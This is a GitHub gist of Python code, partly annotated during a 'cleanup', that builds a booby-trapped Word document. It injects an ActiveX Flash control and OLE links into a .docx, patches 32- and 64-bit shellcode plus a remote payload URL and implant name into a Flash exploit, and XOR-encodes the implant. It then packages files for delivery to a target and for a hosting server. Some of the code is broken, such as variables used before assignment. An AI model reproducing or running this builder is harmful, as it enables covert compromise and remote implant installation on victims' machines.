Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Celestial-intelligence/6df957adf22f81eb127ecc5c32f9ea42 to your computer and use it in GitHub Desktop.
Save Celestial-intelligence/6df957adf22f81eb127ecc5c32f9ea42 to your computer and use it in GitHub Desktop.
Cleanup in Progress - MS Word Exploit
import sys
import os
import warnings
import zlib
import struct
import random
import shutil
import zipfile
from zipfile import ZipFile
import time
# Allow imports from ./pylzma.egg
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
def random_id(length):
"""
Return a random ID comprised of alternating letters and numbers.
"""
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for _ in range(0, length, 2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
"""
Perform some kind of XOR with C structs.
"""
out = ''
for i in range(0,len(buf)/4):
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack("<I", c)
reminder = len(buf) % 4
for i in range(len(buf)-reminder, len(buf)):
c = struct.unpack("B", buf[i])[0]
c ^= 0x41
out += struct.pack("B", c)
return out
def byteArray2String(param):
"""
Open a temporary binary file.
Write `param` to it, then read `param` back into `result`.
TODO: figure out what the hell this is supposed to accomplish.
"""
with warnings.catch_warnings():
warnings.simplefilter('ignore')
tmp = os.tempnam()
with open(tmp, "wb") as f:
f.write(param)
with open(tmp, "rb") as f:
result = f.read()
try:
os.unlink(tmp)
except WindowsError:
# Todo: why would this ever happen?
print "I/O error when deleting %s file"%(tmp)
return result
def create_doc():
"""
Update the Microsoft word document provided with our exploit.
Todo: split this into sub-functions, it's big and does too much.
"""
# Unpack the zip-file provided in input_file to "tmp".
if not os.path.exists("tmp"):
os.mkdir("tmp")
myzip = ZipFile(input_file)
myzip.extractall("tmp")
myzip.close()
# Update the content types of "[Content_Types].xml".
# Todo: what's with that name? Is that a real file?
# Doesn't look like it's being formatted or anything.
with open("tmp/[Content_types].xml", "r") as f:
content_types = f.read().lower()
types_start = content_types.find("<types")
types_length = content_types[idx:].find(">") + 1
types_end = types_start + types_length
up_to_types = content_types[:types_end+1]
if "vnd.ms-office.activex" not in content_types:
up_to_types += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
if "image/x-wmf" in content_types:
up_to_types += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
up_to_types += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>'
up_to_types += content_types[types_start+types_length:]
with open("tmp/[Content_Types].xml", 'w') as types_file:
types_file.write(up_to_types)
# Update the <relationships> attribute of tmp/word/_rels/document.xml.rels.
with open("tmp/word/_rels/document.xml.rels", 'r') as rels_file:
rels = rels_file.read().lower()
# Add correct relationship attribute to up_to_end_relationships.
end_relationships = rels.find("</relationships>")
up_to_end_relationships = rels[:end_relationships]
up_to_end_relationships += ('<Relationship Target="activeX/activeX1.xml" '
'Type="http://schemas.openxmlformats.org/office'
'Document/2006/relationships/control" Id="rId1000"/>'
'<Relationship Target="media/image1000.wmf" Type='
'"http://schemas.openxmlformats.org/officeDocument/'
'2006/relationships/image" Id="rId1001"/>')
# End the relationships attribute.
up_to_end_relationships += "</Relationships>"
# Save the file to disk.
with open("tmp/word/_rels/document.xml.rels", 'w') as rels_file:
rels_file.write(up_to_end_relationships)
# Update the document body.
# Todo: make the same changes as above for this part.
buff = open("tmp/word/document.xml", 'r').read()
#idx = buff.lower().find("</w:body")
#idx2 = 0
idx = buff.lower().find("<w:body")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>'
buff2 += buff[idx+idx2:]
open("tmp/word/document.xml", 'w').write(buff2)
# Disallow anything which has an ActiveX control in: might interfere with our exploit.
if os.path.exists("tmp/word/activeX"):
print "[!!] Unsupported file: contains an ActiveX"
sys.exit(-1);
else:
shutil.copytree("resources/activeX/", "tmp/word/activeX/")
# Copy our image into /tmp/word/media, creating it if necessary.
if not os.path.exists("tmp/word/media/"):
shutil.copytree("resources/media/", "tmp/word/media/")
else:
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/")
random.seed()
# If we're in test mode, skip the random filename generation
# and name the SWF "avtest.swf".
if not os.path.exists("c:\\RCS\\DB\\config\\test"):
SWF_RANDOM_NAME = random_id(12) + ".swf"
else:
SWF_RANDOM_NAME = "avtest.swf"
EXE_RANDOM_NAME = random_id(12) + ".dat"
# Form EXE_URL and SWF_URL by concatenating sys.argv[2] and the
# randomly generated IDs.
# TODO: os.path.join should be used here.
if sys.argv[2][-1] == "/":
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME
else:
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME
# Append "http" to EXE_URL and SWF_URL if it isn't there already.
if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP":
EXE_URL = "http://" + EXE_URL
if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP":
SWF_URL = "http://" + SWF_URL
# Print details about this program's parameters.
# Derived partly from argv and partly hardcoded.
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME
SCOUT_NAME = sys.argv[8]
input_file = sys.argv[4]
output_file = sys.argv[5]
send_to_target_zip = sys.argv[3]
send_to_server_zip = sys.argv[7]
INPUT_SCOUT = sys.argv[6]
exploit_file = "exploit.swf"
XOR_KEY = random.randint(0xdead, 0xdeadbeef)
print "SWF_URL: ", SWF_URL
print "Target zip: ", send_to_target_zip
print "Input file: ", input_file
print "Output file: ", output_file
print "INPUT_SCOUT: ", INPUT_SCOUT
print "Server zip: ", send_to_server_zip
print "Scout name: ", SCOUT_NAME
print
print "XOR key: ", XOR_KEY
print "Exploit file: ", exploit_file
random.seed()
create_doc()
#######################################################
#### CLEANED DOWN TO HERE ####
=======================================================
# Todo: figure out what these magic numbers mean.
XOR_OFFT = 0x88 * 2
URL_OFFT = XOR_OFFT + (0x4*2)
SCOUT_OFFT = 0x110 * 2
XOR_OFFT64 = 0
URL_OFFT64 = 8
SCOUT_OFFT64 = 0x88 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
# replace :)
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
swf_buff = swf_buff.replace("ht-201", "abc123")
##### 32 #######
# get offset to shellcode
stage2_offset = swf_buff.find(b"EFBEADDE")
if stage2_offset == 0:
print "[!!] Gadget for shellcode not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode 32
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
sys.exit(-1)
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL 32
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i]
# modify xor key
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
##### 64 #######
# get offset to shellcode64
stage264_offset = swf_buff.find(b"CAF1ADDE")
if stage264_offset == 0:
print "[!!] Gadget for shellcode64 not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset)
# replace shellcode 64
shellcode64 = open("resources/shellcode64", 'rb').read()
if len(shellcode64) > (5800*2):
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64))
sys.exit(-1)
hex_shellcode64 = shellcode64.encode('hex')
for i in range(len(hex_shellcode64)):
swf_bytearray[stage264_offset + i] = hex_shellcode64[i]
# modify URL 64
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i]
# modify xor key 64
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6]
swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7]
swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4]
swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5]
swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2]
swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3]
swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0]
swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it
open(SWF_RANDOM_NAME, 'wb').write(output_buff)
# modify ole link
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[+] Offset to first link: 0x%x" %(ole_link_offt)
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1)
print "[+] Offset to second link: 0x%x" %(ole_link2_offt)
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1)
print "[+] Offset to third link: 0x%x" %(ole_link3_offt)
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
y = 0
for x in range(len(swf_url_bytearray)):
ole_link_bytearray[i+y] = swf_url_bytearray[x]
ole_link_bytearray[i+y+1] = 0x0
y += 2
# dump modified ole link
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))
# create docx
cwd = os.getcwd()
os.chdir(cwd + "\\tmp")
os.system("zip.exe -r ..\\tmp.zip *")
os.chdir(cwd)
shutil.move("tmp.zip", output_file)
# zip per target
os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")
shutil.move(send_to_target_zip + ".zip", send_to_target_zip)
# zip per server
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY))
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME)
os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment